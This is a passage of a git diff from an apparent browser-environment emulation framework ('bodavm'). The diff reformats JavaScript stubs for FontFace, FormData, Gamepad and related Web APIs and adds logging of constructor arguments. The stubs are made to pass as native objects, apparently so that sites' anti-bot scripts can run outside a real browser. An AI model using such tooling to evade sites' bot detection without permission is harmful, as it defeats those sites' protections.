"FontFace", "unicodeRange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "variant", {configurable:true, enumerable:true, get:function variant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "variant_get", arguments)}, set:function variant (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "variant_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "featureSettings", {configurable:true, enumerable:true, get:function featureSettings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "featureSettings_get", arguments)}, set:function featureSettings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "featureSettings_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "display", {configurable:true, enumerable:true, get:function display (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "display_get", arguments)}, set:function display (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "display_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "ascentOverride", {configurable:true, enumerable:true, get:function ascentOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "ascentOverride_get", arguments)}, set:function ascentOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "ascentOverride_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "descentOverride", {configurable:true, enumerable:true, get:function descentOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "descentOverride_get", arguments)}, set:function descentOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "descentOverride_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "lineGapOverride", {configurable:true, enumerable:true, get:function lineGapOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "lineGapOverride_get", arguments)}, set:function lineGapOverride (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "lineGapOverride_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "sizeAdjust", {configurable:true, enumerable:true, get:function sizeAdjust (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "sizeAdjust_get", arguments)}, set:function sizeAdjust (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "sizeAdjust_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "status_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "loaded", {configurable:true, enumerable:true, get:function loaded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "loaded_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FontFace', "load", {configurable:true, enumerable:true, writable:true, value:function load (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "load", arguments)}},'prototype'); +// FontFace对象 + +bodavm.memory.globalobj['FontFace'] = function FontFace() { + console.log_copy('FontFace 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FontFace)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FontFace': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontFace'], "FontFace"); +bodavm.toolsFunc.defineProperty('FontFace', "family", { + configurable: true, + enumerable: true, + get: function family() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "family_get", arguments); + }, + set: function family() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "family_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "style_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "weight", { + configurable: true, + enumerable: true, + get: function weight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "weight_get", arguments); + }, + set: function weight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "weight_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "stretch", { + configurable: true, + enumerable: true, + get: function stretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "stretch_get", arguments); + }, + set: function stretch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "stretch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "unicodeRange", { + configurable: true, + enumerable: true, + get: function unicodeRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "unicodeRange_get", arguments); + }, + set: function unicodeRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "unicodeRange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "variant", { + configurable: true, + enumerable: true, + get: function variant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "variant_get", arguments); + }, + set: function variant() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "variant_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "featureSettings", { + configurable: true, + enumerable: true, + get: function featureSettings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "featureSettings_get", arguments); + }, + set: function featureSettings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "featureSettings_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "display", { + configurable: true, + enumerable: true, + get: function display() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "display_get", arguments); + }, + set: function display() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "display_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "ascentOverride", { + configurable: true, + enumerable: true, + get: function ascentOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "ascentOverride_get", arguments); + }, + set: function ascentOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "ascentOverride_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "descentOverride", { + configurable: true, + enumerable: true, + get: function descentOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "descentOverride_get", arguments); + }, + set: function descentOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "descentOverride_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "lineGapOverride", { + configurable: true, + enumerable: true, + get: function lineGapOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "lineGapOverride_get", arguments); + }, + set: function lineGapOverride() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "lineGapOverride_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "sizeAdjust", { + configurable: true, + enumerable: true, + get: function sizeAdjust() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "sizeAdjust_get", arguments); + }, + set: function sizeAdjust() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "sizeAdjust_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "status", { + configurable: true, + enumerable: true, + get: function status() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "status_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "loaded", { + configurable: true, + enumerable: true, + get: function loaded() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "loaded_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FontFace', "load", { + configurable: true, + enumerable: true, + writable: true, + value: function load() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFace'].prototype, "FontFace", "load", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FontFaceSetLoadEvent.js b/env_xbb_lastest_jsdom/env/FontFaceSetLoadEvent.js index 0ac3b7fd..3a8047a9 100644 --- a/env_xbb_lastest_jsdom/env/FontFaceSetLoadEvent.js +++ b/env_xbb_lastest_jsdom/env/FontFaceSetLoadEvent.js @@ -1,6 +1,27 @@ -// FontFaceSetLoadEvent对象 -bodavm.memory.globalobj['FontFaceSetLoadEvent'] = function FontFaceSetLoadEvent(){if (!(this instanceof FontFaceSetLoadEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FontFaceSetLoadEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontFaceSetLoadEvent'], "FontFaceSetLoadEvent"); -bodavm.memory.globalobj['FontFaceSetLoadEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['FontFaceSetLoadEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('FontFaceSetLoadEvent', "fontfaces", {configurable:true, enumerable:true, get:function fontfaces (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFaceSetLoadEvent'].prototype, "FontFaceSetLoadEvent", "fontfaces_get", arguments)}, set:undefined},'prototype'); +// FontFaceSetLoadEvent对象 + +bodavm.memory.globalobj['FontFaceSetLoadEvent'] = function FontFaceSetLoadEvent() { + console.log_copy('FontFaceSetLoadEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FontFaceSetLoadEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FontFaceSetLoadEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FontFaceSetLoadEvent'], "FontFaceSetLoadEvent"); +bodavm.memory.globalobj['FontFaceSetLoadEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['FontFaceSetLoadEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('FontFaceSetLoadEvent', "fontfaces", { + configurable: true, + enumerable: true, + get: function fontfaces() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FontFaceSetLoadEvent'].prototype, "FontFaceSetLoadEvent", "fontfaces_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FormData.js b/env_xbb_lastest_jsdom/env/FormData.js index cf22f97f..241086c3 100644 --- a/env_xbb_lastest_jsdom/env/FormData.js +++ b/env_xbb_lastest_jsdom/env/FormData.js @@ -1,26 +1,94 @@ // FormData对象 -bodavm.memory.globalobj['FormData'] = function FormData(){this._boarg= new bodaobj.window.FormData();this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['FormData'] = function FormData() { + console.log_copy('FormData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.FormData(); + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FormData'], "FormData"); - -bodavm.toolsFunc.defineProperty('FormData', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "append", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "getAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('FormData', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "values", arguments)}},'prototype'); - +bodavm.toolsFunc.defineProperty('FormData', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "getAll", { + configurable: true, + enumerable: true, + writable: true, + value: function getAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "getAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FormData', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormData'].prototype, "FormData", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FormDataEvent.js b/env_xbb_lastest_jsdom/env/FormDataEvent.js index 2071875e..c19eef95 100644 --- a/env_xbb_lastest_jsdom/env/FormDataEvent.js +++ b/env_xbb_lastest_jsdom/env/FormDataEvent.js @@ -1,6 +1,27 @@ -// FormDataEvent对象 -bodavm.memory.globalobj['FormDataEvent'] = function FormDataEvent(){if (!(this instanceof FormDataEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FormDataEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FormDataEvent'], "FormDataEvent"); -bodavm.memory.globalobj['FormDataEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['FormDataEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('FormDataEvent', "formData", {configurable:true, enumerable:true, get:function formData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormDataEvent'].prototype, "FormDataEvent", "formData_get", arguments)}, set:undefined},'prototype'); +// FormDataEvent对象 + +bodavm.memory.globalobj['FormDataEvent'] = function FormDataEvent() { + console.log_copy('FormDataEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FormDataEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FormDataEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FormDataEvent'], "FormDataEvent"); +bodavm.memory.globalobj['FormDataEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['FormDataEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('FormDataEvent', "formData", { + configurable: true, + enumerable: true, + get: function formData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FormDataEvent'].prototype, "FormDataEvent", "formData_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FragmentDirective.js b/env_xbb_lastest_jsdom/env/FragmentDirective.js index 772ac08c..32bd7384 100644 --- a/env_xbb_lastest_jsdom/env/FragmentDirective.js +++ b/env_xbb_lastest_jsdom/env/FragmentDirective.js @@ -1,3 +1,17 @@ -// FragmentDirective对象 -bodavm.memory.globalobj['FragmentDirective'] = function FragmentDirective(){if (!(this instanceof FragmentDirective)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FragmentDirective'], "FragmentDirective"); +// FragmentDirective对象 + +bodavm.memory.globalobj['FragmentDirective'] = function FragmentDirective() { + console.log_copy('FragmentDirective 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FragmentDirective)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FragmentDirective'], "FragmentDirective"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/GainNode.js b/env_xbb_lastest_jsdom/env/GainNode.js index ef420e5c..fec62e12 100644 --- a/env_xbb_lastest_jsdom/env/GainNode.js +++ b/env_xbb_lastest_jsdom/env/GainNode.js @@ -1,6 +1,27 @@ -// GainNode对象 -bodavm.memory.globalobj['GainNode'] = function GainNode(){if (!(this instanceof GainNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'GainNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GainNode'], "GainNode"); -bodavm.memory.globalobj['GainNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['GainNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('GainNode', "gain", {configurable:true, enumerable:true, get:function gain (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GainNode'].prototype, "GainNode", "gain_get", arguments)}, set:undefined},'prototype'); +// GainNode对象 + +bodavm.memory.globalobj['GainNode'] = function GainNode() { + console.log_copy('GainNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GainNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'GainNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GainNode'], "GainNode"); +bodavm.memory.globalobj['GainNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['GainNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('GainNode', "gain", { + configurable: true, + enumerable: true, + get: function gain() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GainNode'].prototype, "GainNode", "gain_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Gamepad.js b/env_xbb_lastest_jsdom/env/Gamepad.js index e9069ffc..8417ced4 100644 --- a/env_xbb_lastest_jsdom/env/Gamepad.js +++ b/env_xbb_lastest_jsdom/env/Gamepad.js @@ -1,11 +1,81 @@ -// Gamepad对象 -bodavm.memory.globalobj['Gamepad'] = function Gamepad(){if (!(this instanceof Gamepad)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Gamepad'], "Gamepad"); -bodavm.toolsFunc.defineProperty('Gamepad', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "index_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "connected", {configurable:true, enumerable:true, get:function connected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "connected_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "mapping", {configurable:true, enumerable:true, get:function mapping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "mapping_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "axes", {configurable:true, enumerable:true, get:function axes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "axes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "buttons", {configurable:true, enumerable:true, get:function buttons (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "buttons_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gamepad', "vibrationActuator", {configurable:true, enumerable:true, get:function vibrationActuator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "vibrationActuator_get", arguments)}, set:undefined},'prototype'); +// Gamepad对象 + +bodavm.memory.globalobj['Gamepad'] = function Gamepad() { + console.log_copy('Gamepad 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Gamepad)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Gamepad'], "Gamepad"); +bodavm.toolsFunc.defineProperty('Gamepad', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "index", { + configurable: true, + enumerable: true, + get: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "index_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "connected", { + configurable: true, + enumerable: true, + get: function connected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "connected_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "mapping", { + configurable: true, + enumerable: true, + get: function mapping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "mapping_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "axes", { + configurable: true, + enumerable: true, + get: function axes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "axes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "buttons", { + configurable: true, + enumerable: true, + get: function buttons() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "buttons_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gamepad', "vibrationActuator", { + configurable: true, + enumerable: true, + get: function vibrationActuator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gamepad'].prototype, "Gamepad", "vibrationActuator_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/GamepadButton.js b/env_xbb_lastest_jsdom/env/GamepadButton.js index 61a596fc..3077c9c5 100644 --- a/env_xbb_lastest_jsdom/env/GamepadButton.js +++ b/env_xbb_lastest_jsdom/env/GamepadButton.js @@ -1,6 +1,41 @@ -// GamepadButton对象 -bodavm.memory.globalobj['GamepadButton'] = function GamepadButton(){if (!(this instanceof GamepadButton)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadButton'], "GamepadButton"); -bodavm.toolsFunc.defineProperty('GamepadButton', "pressed", {configurable:true, enumerable:true, get:function pressed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", "pressed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GamepadButton', "touched", {configurable:true, enumerable:true, get:function touched (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", "touched_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GamepadButton', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", 